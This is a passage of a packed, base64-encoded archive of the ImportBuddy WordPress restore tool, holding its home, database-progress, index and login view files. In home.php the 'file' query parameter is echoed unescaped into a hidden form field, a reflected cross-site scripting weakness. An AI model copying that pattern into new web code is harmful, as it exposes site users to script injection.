9IndyYXAiPgoKPD9waHAKaWYgKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2ZpbGUnICkgIT0gJycgKSB7CgkkYmFja3VwX2FyY2hpdmVzID0gYXJyYXkoIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZmlsZScgKSApOwoJZWNobyAnPGRpdiBzdHlsZT0icGFkZGluZzogMTVweDsgYmFja2dyb3VuZDogI0ZGRkZGRjsiPlJlc3RvcmluZyBmcm9tIGJhY2t1cCA8aT4nIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2ZpbGUnICkgKSAuICc8L2k+PC9kaXY+Cgk8Zm9ybSBhY3Rpb249Ij9hamF4PTIiIG1ldGhvZD0icG9zdCIgdGFyZ2V0PSJtaW5pRnJhbWUiPic7CgllY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZmlsZScgKSAuICciPic7Cn0gZWxzZSB7Cgk/PgoKCTxkaXYgY2xhc3M9ImJhY2t1cF9zZWxlY3RfYnV0dG9ucyI+CgkJPGJ1dHRvbiBocmVmPSIjcGJfdXBsb2FkX21vZGFsIiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1zZWNvbmRhcnkgbGVhbk1vZGFsIGNyZWF0ZWRiX21vZGFsX2xpbmsiIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij5VcGxvYWQgYSBCYWNrdXA8L2J1dHRvbj4KCQk8YnV0dG9uIGhyZWY9IiNwYl9zdGFzaF9tb2RhbCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5IGxlYW5Nb2RhbCBjcmVhdGVkYl9tb2RhbF9saW5rIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+UmVzdG9yZSBmcm9tIFN0YXNoIC8gU3Rhc2ggTGl2ZTwvYnV0dG9uPgoJPC9kaXY+CgoJPD9waHAKCSRiYWNrdXBfYXJjaGl2ZXMgPSBnZXRfYXJjaGl2ZXNfbGlzdCgpOwoJaWYgKCAwID09IGNvdW50KCAkYmFja3VwX2FyY2hpdmVzICkgKSB7IC8vIE5vIGJhY2t1cHMgZm91bmQuCgoJCS8vIExvb2sgZm9yIG1hbnVhbGx5IHVuemlwcGVkCgkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KAoJCQknPGI+Tm8gQmFja3VwQnVkZHkgWmlwIGJhY2t1cCBmb3VuZCBpbiB0aGlzIGRpcmVjdG9yeSBgJyAuIEFCU1BBVEggLiAnYDwvYj4gLQoJCQlZb3UgbXVzdCB1cGxvYWQgYSBiYWNrdXAgZmlsZSBieSBGVFAgKGludG8gdGhlIHNhbWUgZGlyZWN0b3J5IGFzIHRoaXMgaW1wb3J0YnVkZHkucGhwIGZpbGUpLCB0aGUgdXBsb2FkIHRhYiwgb3IgaW1wb3J0IGZyb20gU3Rhc2ggdmlhIHRoZSBTdGFzaCB0YWIgYWJvdmUgdG8gY29udGludWUuCgkJCTxiPkRvIG5vdCByZW5hbWUgdGhlIGJhY2t1cCBmaWxlIGZyb20gaXRzIG9yaWdpbmFsIGZpbGVuYW1lLjwvYj4gSWYgeW91IG1hbnVhbGx5IGV4dHJhY3RlZC91bnppcHBlZCwgdXBsb2FkIHRoZSBiYWNrdXAgZmlsZSwKCQkJc2VsZWN0IGl0LCB0aGVuIHNlbGVjdCA8aT5BZHZhbmNlZCBUcm91Ymxlc2hvb3RpbmcgT3B0aW9uczwvaT4gJiBjbGljayA8aT5Ta2lwIFppcCBFeHRyYWN0aW9uPC9pPi4gUmVmcmVzaCB0aGlzIHBhZ2Ugb25jZSB5b3UgaGF2ZSB1cGxvYWRlZCB0aGUgYmFja3VwLicKCQkpOwoKCX0gZWxzZSB7IC8vIEZvdW5kIG9uZSBvciBtb3JlIGJhY2t1cHMuCgkJPz4KCQkJPGZvcm0gYWN0aW9uPSI/YWpheD0yIiBtZXRob2Q9InBvc3QiIHRhcmdldD0ibWluaUZyYW1lIj4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3NfaGFzaCIgdmFsdWU9Ijw/cGhwIGVjaG8gUEJfUEFTU1dPUkQ7ID8+Ij4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdGlvbnMiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIHNlcmlhbGl6ZSggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zICkgKTsgPz4nIiAvPgoJCTw/cGhwCgkJZWNobyAnPGRpdiBjbGFzcz0iYmFja3VwX3NlbGVjdF90ZXh0Ij5CYWNrdXBzIGluIDxzcGFuPicgLiBBQlNQQVRIIC4gJzwvc3Bhbj48L2Rpdj4nOwoJCWVjaG8gJzx1bCBjbGFzcz0icm91bmQtd3JhcCI+JzsKCQkkYmFja3VwX2NvdW50ID0gY291bnQoICRiYWNrdXBfYXJjaGl2ZXMgKTsKCQkkaSAgICAgICAgICAgID0gMDsKCQlmb3JlYWNoICggJGJhY2t1cF9hcmNoaXZlcyBhcyAkYmFja3VwX2lkID0+ICRiYWNrdXBfYXJjaGl2ZSApIHsKCQkJJGkrKzsKCgoJCQkkYmFja3VwX3R5cGUgICAgICA9ICcnOwoJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICcnOwoJCQlpZiAoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWyd0eXBlJ10gPT0gJycgKSB7CgkJCQlpZiAoIHN0cmlzdHIoICRiYWNrdXBfYXJjaGl2ZVsnZmlsZSddLCAnLWRiLScgKSAhPT0gZmFsc2UgKSB7CgkJCQkJJGJhY2t1cF90eXBlX3RleHQgPSAnRGF0YWJhc2UgT25seSBCYWNrdXAnOwoJCQkJCSRiYWNrdXBfdHlwZSAgICAgID0gJ2RiJzsKCQkJCX0gZWxzZWlmICggc3RyaXN0ciggJGJhY2t1cF9hcmNoaXZlWydmaWxlJ10sICctZnVsbC0nICkgIT09IGZhbHNlICkgewoJCQkJCSRiYWNrdXBfdHlwZV90ZXh0ID0gJ0Z1bGwgQmFja3VwJzsKCQkJCQkkYmFja3VwX3R5cGUgICAgICA9ICdmdWxsJzsKCQkJCX0gZWxzZWlmICggc3RyaXN0ciggJGJhY2t1cF9hcmNoaXZlWydmaWxlJ10sICctZmlsZXMtJyApICE9PSBmYWxzZSApIHsKCQkJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICdGaWxlcyBPbmx5IEJhY2t1cCc7CgkJCQkJJGJhY2t1cF90eXBlICAgICAgPSAnZmlsZXMnOwoJCQkJfSBlbHNlaWYgKCBzdHJpc3RyKCAkYmFja3VwX2FyY2hpdmVbJ2ZpbGUnXSwgJy1leHBvcnQtJyApICE9PSBmYWxzZSApIHsKCQkJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICdNdWx0aXNpdGUgU3Vic2l0ZSBFeHBvcnQnOwoJCQkJCSRiYWNrdXBfdHlwZSAgICAgID0gJ2V4cG9ydCc7CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlpZiAoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWyd0eXBlJ10gPT0gJ2RiJyApIHsKCQkJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICdEYXRhYmFzZSBPbmx5IEJhY2t1cCc7CgkJCQkJJGJhY2t1cF90eXBlICAgICAgPSAnZGInOwoJCQkJfSBlbHNlaWYgKCAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsndHlwZSddID09ICdmdWxsJyApIHsKCQkJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICdGdWxsIEJhY2t1cCc7CgkJCQkJJGJhY2t1cF90eXBlICAgICAgPSAnZnVsbCc7CgkJCQl9IGVsc2VpZiAoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWyd0eXBlJ10gPT0gJ2ZpbGVzJyApIHsKCQkJCQkkYmFja3VwX3R5cGVfdGV4dCA9ICdGaWxlcyBPbmx5IEJhY2t1cCc7CgkJCQkJJGJhY2t1cF90eXBlICAgICAgPSAnZmlsZXMnOwoJCQkJfSBlbHNlaWYgKCAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsndHlwZSddID09ICdleHBvcnQnICkgewoJCQkJCSRiYWNrdXBfdHlwZV90ZXh0ID0gJ011bHRpc2l0ZSBTdWJzaXRlIEV4cG9ydCc7CgkJCQkJJGJhY2t1cF90eXBlICAgICAgPSAnZXhwb3J0JzsKCQkJCX0gZWxzZSB7CgkJCQkJJGJhY2t1cF90eXBlX3RleHQgPSAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsndHlwZSddIC4gJyBCYWNrdXAnOwoJCQkJCSRiYWNrdXBfdHlwZSAgICAgID0gJGJhY2t1cF9hcmNoaXZlWydjb21tZW50J11bJ3R5cGUnXTsKCQkJCX0KCQkJfQoKCgkJCWVjaG8gJzxsaT4nOwoKCQkJZWNobyAnPGlucHV0IGNsYXNzPSJzZWxlY3RhYmxlQmFja3VwQXJjaGl2ZSIgdHlwZT0icmFkaW8iICc7CgkJCWlmICggJGJhY2t1cF9pZCA9PSAwICkgewoJCQkJZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsKCQkJfQoJCQllY2hvICduYW1lPSJmaWxlIiB2YWx1ZT0iJyAuICRiYWNrdXBfYXJjaGl2ZVsnZmlsZSddIC4gJyIgZGF0YS10eXBlPSInIC4gJGJhY2t1cF90eXBlIC4gJyI+ICcgLiAkYmFja3VwX2FyY2hpdmVbJ2ZpbGUnXTsKCQkJZWNobyAnPHNwYW4gc3R5bGU9ImZsb2F0OiByaWdodDsiPicgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCBmaWxlc2l6ZSggQUJTUEFUSCAuICRiYWNrdXBfYXJjaGl2ZVsnZmlsZSddICkgKSAuICc8L3NwYW4+JzsKCgkJCWVjaG8gJzxkaXYgY2xhc3M9ImRlc2NyaXB0aW9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDIycHg7IG1hcmdpbi10b3A6IDZweDsgZm9udC1zdHlsZTogbm9ybWFsOyBsaW5lLWhlaWdodDogMjZweDsiPic7CgkJCSRtZXRhID0gYXJyYXkoKTsKCgkJCWVjaG8gJGJhY2t1cF90eXBlX3RleHQ7CgoJCQlpZiAoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWydjcmVhdGVkJ10gIT0gJycgKSB7CgkJCQllY2hvICcgZnJvbSAnIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmRhdGUoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWydjcmVhdGVkJ10gKTsKCQkJfQoKCQkJaWYgKCAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsnd3BfdmVyc2lvbiddICE9ICcnICkgewoJCQkJZWNobyAnIG9uIFdvcmRQcmVzcyB2JyAuICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWyd3cF92ZXJzaW9uJ107CgkJCX0KCgkJCWlmICggJGJhY2t1cF9hcmNoaXZlWydjb21tZW50J11bJ3NpdGV1cmwnXSAhPSAnJyApIHsKCQkJCWVjaG8gJzxicj5TaXRlOiAnIC4gJGJhY2t1cF9hcmNoaXZlWydjb21tZW50J11bJ3NpdGV1cmwnXTsKCQkJfQoKCQkJaWYgKCAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsncHJvZmlsZSddICE9ICcnICkgewoJCQkJZWNobyAnPGJyPlByb2ZpbGU6ICcgLiBodG1sZW50aXRpZXMoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWydwcm9maWxlJ10gKTsKCQkJfQoKCQkJaWYgKCAkYmFja3VwX2FyY2hpdmVbJ2NvbW1lbnQnXVsnbm90ZSddICE9ICcnICkgewoJCQkJZWNobyAnPGJyPk5vdGU6ICcgLiBodG1sZW50aXRpZXMoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWydub3RlJ10gKSAuICc8YnI+JzsKCQkJfQoKCQkJLy8gU2hvdyBtZXRhIGJ1dHRvbiBpZiBtZXRhIGluZm8gYXZhaWxhYmxlLgoJCQlpZiAoICRiYWNrdXBfYXJjaGl2ZVsnY29tbWVudCddWyd0eXBlJ10gIT0gJycgKSB7CgkJCQkkZmlsZV9oYXNoID0gbWQ1KCAkYmFja3VwX2FyY2hpdmVbJ2ZpbGUnXSApOwoJCQkJZWNobyAnPGEgaHJlZj0iI2hhc2hfdmlldyIgY2xhc3M9ImJ1dHRvbiBidXR0b24tdGVydGlhcnkgbGVhbk1vZGFsIHZpZXdfaGFzaF9jbGljayIgc3R5bGU9IiBmbG9hdDogcmlnaHQ7IiBpZD0idmlld19oYXNoXycgLiAkaSAuICciIGRhdGEtZmlsZT0iJyAuICRiYWNrdXBfYXJjaGl2ZVsnZmlsZSddIC4gJyI+VmlldyBDaGVja3N1bTwvYT4nOwoJCQkJZWNobyAnPGEgaHJlZj0iI2luZm9fJyAuICRmaWxlX2hhc2ggLiAnIiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi10ZXJ0aWFyeSBsZWFuTW9kYWwiIHN0eWxlPSJmbG9hdDogcmlnaHQ7IiBpZD0idmlld19tZXRhXycgLiAkaSAuICciPlZpZXcgTWV0YTwvYT4nOwoJCQkJPz4KCQkJCTxkaXYgaWQ9Imhhc2hfdmlldyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbCI+CgkJCQkJCTxkaXYgY2xhc3M9Im1vZGFsX2hlYWRlciI+CgkJCQkJCQk8YSBjbGFzcz0ibW9kYWxfY2xvc2UiPiZ0aW1lczs8L2E+CgkJCQkJCQk8aDI+VmlldyBDaGVja3N1bTwvaDI+CgkJCQkJCTwvZGl2PgoJCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCQkJCQkJCTxzcGFuIGlkPSJoYXNoX3ZpZXdfbG9hZGluZyI+PGltZyBzcmM9ImltcG9ydGJ1ZGR5L2ltYWdlcy9sb2FkaW5nLmdpZiI+IENhbGN1bGF0aW5nIGJhY2t1cCBmaWxlIENoZWNrc3VtIChNRDUgaGFzaCkuLi4gVGhpcyBtYXkgdGFrZSBhIG1vbWVudC4uLjwvc3Bhbj4KCQkJCQkJCTxzcGFuIGlkPSJoYXNoX3ZpZXdfcmVzcG9uc2UiPjwvc3Bhbj4KCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJCTxkaXYgaWQ9Ijw/cGhwIGVjaG8gJ2luZm9fJyAuICRmaWxlX2hhc2g7ID8+IiBzdHlsZT0iZGlzcGxheTogbm9uZTsgaGVpZ2h0OiA5MCU7Ij4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbCI+CgkJCQkJCTxkaXYgY2xhc3M9Im1vZGFsX2hlYWRlciI+CgkJCQkJCQk8YSBjbGFzcz0ibW9kYWxfY2xvc2UiPiZ0aW1lczs8L2E+CgkJCQkJCQk8aDI+QmFja3VwIE1ldGEgSW5mb3JtYXRpb248L2gyPgoJCQkJCQk8L2Rpdj4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWxfY29udGVudCI+CgkJCQkJCQk8P3BocAoJCQkJCQkJJGNvbW1lbnRfbWV0YSA9IGFycmF5KCk7CgkJCQkJCQlmb3JlYWNoICggJGJhY2t1cF9hcmNoaXZlWydjb21tZW50J10gYXMgJGNvbW1lbnRfbGluZV9uYW1lID0+ICRjb21tZW50X2xpbmVfdmFsdWUgKSB7IC8vIExvb3AgdGhyb3VnaCBhbGwgbWV0YSBmaWVsZHMgaW4gdGhlIGNvbW1lbnQgYXJyYXkgdG8gZGlzcGxheS4KCgkJCQkJCQkJaWYgKCBmYWxzZSAhPT0gKCAkcmVzcG9uc2UgPSBiYWNrdXBidWRkeV9jb3JlOjpwcmV0dHlfbWV0YV9pbmZvKCAkY29tbWVudF9saW5lX25hbWUsICRjb21tZW50X2xpbmVfdmFsdWUgKSApICkgewoJCQkJCQkJCQkkY29tbWVudF9tZXRhW10gPSAkcmVzcG9uc2U7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQkJaWYgKCBjb3VudCggJGNvbW1lbnRfbWV0YSApID4gMCApIHsKCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6JHVpLT5saXN0X3RhYmxlKAoJCQkJCQkJCQkkY29tbWVudF9tZXRhLAoJCQkJCQkJCQlhcnJheSgKCQkJCQkJCQkJCSdjb2x1bW5zJyA9PiBhcnJheSggJ01ldGEgSW5mb3JtYXRpb24nLCAnVmFsdWUnICksCgkJCQkJCQkJCQknY3NzJyAgICAgPT4gJ3dpZHRoOiAxMDAlOyBtaW4td2lkdGg6IDIwMHB4OycsCgkJCQkJCQkJCSkKCQkJCQkJCQkpOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQllY2hvICc8aT5ObyBtZXRhIGRhdGEgZm91bmQgaW4gemlwIGNvbW1lbnQuIFNraXBwaW5nIG1ldGEgaW5mb3JtYXRpb24gZGlzcGxheS48L2k+JzsKCQkJCQkJCX0KCQkJCQkJCT8+CgkJCQkJCTwvZGl2PgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCQk8P3BocAoJCQl9IC8vIGVuZCBpZiB0eXBlIG5vdCBibGFuay4KCgoJCQkvLyBlY2hvIGltcGxvZGUoICcgLSAnLCAkbWV0YSApOwoJCQllY2hvICc8L2Rpdj4nOwoJCQllY2hvICc8L2xpPic7CgkJfQoJCWVjaG8gJzwvdWw+JzsKCX0KCT8+Cgo8P3BocAp9IC8vIEVuZCBmaWxlIG5vdCBnaXZlbiBpbiBxdWVyeXN0cmluZy4KCgovLyBJZiBvbmUgb3IgbW9yZSBiYWNrdXAgZmlsZXMgd2FzIGZvdW5kIHRoZW4gcHJvdmlkZSBhIGJ1dHRvbiB0byBjb250aW51ZS4KaWYgKCAoICEgZW1wdHkoICRiYWNrdXBfYXJjaGl2ZXMgKSApIHx8ICggJ3N0YXNoJyA9PSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICd1cGxvYWQnICkgKSApIHsKCWVjaG8gJzwvZGl2PjwhLS0gL3dyYXAgLS0+JzsKCT8+CgoJPGRpdiBjbGFzcz0ibWFpbl9ib3hfZm9vdCI+CgkJPGNlbnRlcj4KCgkJCTxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDIwcHg7IG1hcmdpbi1ib3R0b206IDMwcHg7Ij4KCQkJCTxiPldoYXQgd291bGQgeW91IGxpa2UgdG8gcmVzdG9yZSBmcm9tIHRoZSBiYWNrdXA/PC9iPgoJCQkJJm5ic3A7Jm5ic3A7CgkJCQk8bGFiZWwgc3R5bGU9ImZsb2F0OiBpbmhlcml0OyI+CgkJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJyZXN0b3JlRmlsZXMiIHZhbHVlPSIxIiBDSEVDS0VEPiBGaWxlcwoJCQkJPC9sYWJlbD4KCQkJCSZuYnNwOyZuYnNwOwoJCQkJPGxhYmVsIHN0eWxlPSJmbG9hdDogaW5oZXJpdDsiPgoJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVzdG9yZURhdGFiYXNlIiB2YWx1ZT0iMSIgQ0hFQ0tFRD4gRGF0YWJhc2UKCQkJCTwvbGFiZWw+CgkJCTwvZGl2PgoKCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iUmVzdG9yZSBCYWNrdXAiIGNsYXNzPSJpdC1idXR0b24iPgoJCQk8YnV0dG9uIGlkPSJhZHZhbmNlZF9vcHRpb25zX2J1dHRvbiIgaHJlZj0iI3BiX2FkdmFuY2VkX21vZGFsIiBjbGFzcz0iaXQtYnV0dG9uIGl0LXNlY29uZGFyeSBsZWFuTW9kYWwiPkFkdmFuY2VkIE9wdGlvbnM8L2J1dHRvbj4KCQk8L2NlbnRlcj4KCTwvZGl2Pgo8P3BocAp9IGVsc2UgewoJLy8gcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnVXBsb2FkIGEgYmFja3VwIGZpbGUgdG8gY29udGludWUuJyApOwoJZWNobyAnPGJyIC8+PGJyIC8+PGJyIC8+JzsKCWVjaG8gJzxiPllvdSBtdXN0IHVwbG9hZCBhIGJhY2t1cCBmaWxlIGJ5IEZUUCwgdGhlIHVwbG9hZCB0YWIsIG9yIGltcG9ydCBmcm9tIFN0YXNoIHRvIGNvbnRpbnVlLjwvYj4nOwoJZWNobyAnPC9kaXY+PCEtLSAvd3JhcCAtLT4nOwp9Cj8+CgoKPGRpdiBpZD0icGJfYWR2YW5jZWRfbW9kYWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbCI+CgkJPGRpdiBjbGFzcz0ibW9kYWxfaGVhZGVyIj4KCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQk8aDI+QWR2YW5jZWQgT3B0aW9uczwvaDI+CgkJCUV4ZXJjaXNlIGNhdXRpb24uIEFkZGl0aW9uYWwgb3B0aW9ucyBhdmFpbGFibGUgb24gc3Vic2VxdWVudCBzdGVwcy4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCgoJCQlVbnppcCBTdHJhdGVneToKCQkJPHNlbGVjdCBuYW1lPSJ6aXBNZXRob2RTdHJhdGVneSI+CgkJCQk8b3B0aW9uIHZhbHVlPSJhbGwiIFNFTEVDVEVEPkFsbCBBdmFpbGFibGUgKCB1bnppcCB2aWEgZXhlYygpICZndDsgWmlwQXJjaGl2ZSAmZ3Q7IFBjbFppcCApIC0gZGVmYXVsdDwvb3B0aW9uPgoJCQkJPG9wdGlvbiB2YWx1ZT0iemlwYXJjaGl2ZSI+Q29tcGF0aWJpbGl0eTogWmlwQXJjaGl2ZTwvb3B0aW9uPgoJCQkJPG9wdGlvbiB2YWx1ZT0icGNsemlwIj5Db21wYXRpYmlsaXR5OiBQY2xaaXA8L29wdGlvbj4KCQkJPC9zZWxlY3Q+CgkJCTxicj48YnI+CgoJCQk8P3BocAoJCQkkbWlncmF0ZV9odGFjY2Vzc19pbnB1dCA9ICc8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im1pZ3JhdGVIdGFjY2VzcyIgdmFsdWU9IjEiIENIRUNLRUQ+IE1pZ3JhdGUgLmh0YWNjZXNzIGZpbGUgVVJMcyAmIHBhdGhzIChpZiBVUkwgY2hhbmdlcykuPGJyPic7CgkJCSRtaWdyYXRlX2h0YWNjZXNzX2lucHV0ID0gaXRfYnViX2ltcG9ydGJ1ZGR5X2FwcGx5X2ZpbHRlcnMoICdtaWdyYXRlX2h0YWNjZXNzX2lucHV0JywgJG1pZ3JhdGVfaHRhY2Nlc3NfaW5wdXQgKTsKCQkJZWNobyAkbWlncmF0ZV9odGFjY2Vzc19pbnB1dDsKCQkJPz4KCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJza2lwVW56aXAiIHZhbHVlPSIxIj4gU2tpcCB1bnppcHBpbmcgb3Igb3BlbmluZyBhcmNoaXZlIChmb3IgbWFudWFsIGV4dHJhY3Rpb24pLgoJCQk8YnI+PGJyPgoKCgoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2PgoKCjw/cGhwCmVjaG8gJzwvZm9ybT4nOwo/PgoKPC9kaXY+PCEtLSBlbmQgd3JhcHBlciBkaXYgLS0+CgoKPGRpdiBpZD0icGJfdXBsb2FkX21vZGFsIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJPGRpdiBjbGFzcz0ibW9kYWwiPgoJCTxkaXYgY2xhc3M9Im1vZGFsX2hlYWRlciI+CgkJCTxhIGNsYXNzPSJtb2RhbF9jbG9zZSI+JnRpbWVzOzwvYT4KCQkJPGgyPlVwbG9hZCBCYWNrdXA8L2gyPgoJCQlTbWFsbGVyIGJhY2t1cHMgY2FuIGJlIHVwbG9hZGVkIGhlcmUgZGlyZWN0bHkgZnJvbSB5b3VyIGNvbXB1dGVyLiBMYXJnZXIgYmFja3VwcyB3b3JrIGJlc3Qgb3ZlciBGVFAgb3Igb3RoZXIgbWV0aG9kcy4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCgoJCQk8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3NfaGFzaCIgdmFsdWU9Ijw/cGhwIGVjaG8gUEJfUEFTU1dPUkQ7ID8+Ij4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVwbG9hZCIgdmFsdWU9ImxvY2FsIj4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdGlvbnMiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIHNlcmlhbGl6ZSggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zICkgKTsgPz4nIj4KCQkJCUNob29zZSBhIGxvY2FsIGJhY2t1cCB0byB1cGxvYWQ6PGJyPgoJCQkJPHA+CgkJCQkJPGlucHV0IG5hbWU9ImZpbGUiIHR5cGU9ImZpbGUiIHN0eWxlPSJ3aWR0aDogMTAwJTsiPgoJCQkJPC9wPgoJCQkJPGJyPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCBCYWNrdXAiIGNsYXNzPSJ0b2dnbGUgYnV0dG9uIj4KCQkJPC9mb3JtPgoKCgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+CgoKPGRpdiBpZD0icGJfc3Rhc2hfbW9kYWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbCI+CgkJPGRpdiBjbGFzcz0ibW9kYWxfaGVhZGVyIj4KCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQk8aDI+UmVzdG9yZSBCYWNrdXAgZnJvbSBTdGFzaDwvaDI+CgkJCUJhY2t1cHMgc3RvcmVkIGluIHlvdXIgaVRoZW1lcyBTdGFzaCBtYXkgYmUgcmV0cmlldmVkIGZvciByZXN0b3JpbmcgaGVyZS4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJtb2RhbF9jb250ZW50Ij4KCgkJCTw/cGhwIHJlcXVpcmUgJ19odG1sXzFfc3Rhc2gucGhwJzsgPz4KCgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/home.php,importbuddy/views/home.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/importingDatabase.htm,importbuddy/views/importingDatabase.htm
PGNlbnRlcj4KCTxoMz5SZXN0b3JpbmcgRGF0YWJhc2UgLi4uPC9oMz4KCTxoNCBpZD0iaW1wb3J0aW5nRGF0YWJhc2UtcHJvZ3Jlc3NNZXNzYWdlIj48L2g0Pgo8L2NlbnRlcj4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/importingDatabase.htm,importbuddy/views/importingDatabase.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/index.php,importbuddy/views/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/index.php,importbuddy/views/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/login.php,importbuddy/views/login.php
PHNjcmlwdD5qUXVlcnkoICcjcGFnZVRpdGxlJyApLmh0bWwoICdBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCcgKTs8L3NjcmlwdD4KPD9waHAKCgppZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3N3b3JkJyApICE9ICcnICkgewoJZ2xvYmFsICRwYl9sb2dpbl9hdHRlbXB0czsKCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0ludmFsaWQgcGFzc3dvcmQuIFBsZWFzZSBlbnRlciB0aGUgcGFzc3dvcmQgeW91IHByb3ZpZGVkIHdpdGhpbiBCYWNrdXBCdWRkeSBTZXR0aW5ncy4gQXR0ZW1wdCAjJyAuICRwYl9sb2dpbl9hdHRlbXB0cyAuICcuJyApOwoJZWNobyAnPGJyPic7Cn0KPz4KCjxwPkVudGVyIHlvdXIgSW1wb3J0QnVkZHkgcGFzc3dvcmQgYmVsb3cgdG8gYmVnaW4uPC9wPgoKPGZvcm0gbWV0aG9kPSJwb3N0Ij4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImxvZ2luIj4KCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHN0eWxlPSJ3aWR0aDogMjUwcHg7Ij4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkF1dGhlbnRpY2F0ZSIgY2xhc3M9Iml0LWJ1dHRvbiI+CjwvZm9ybT4K
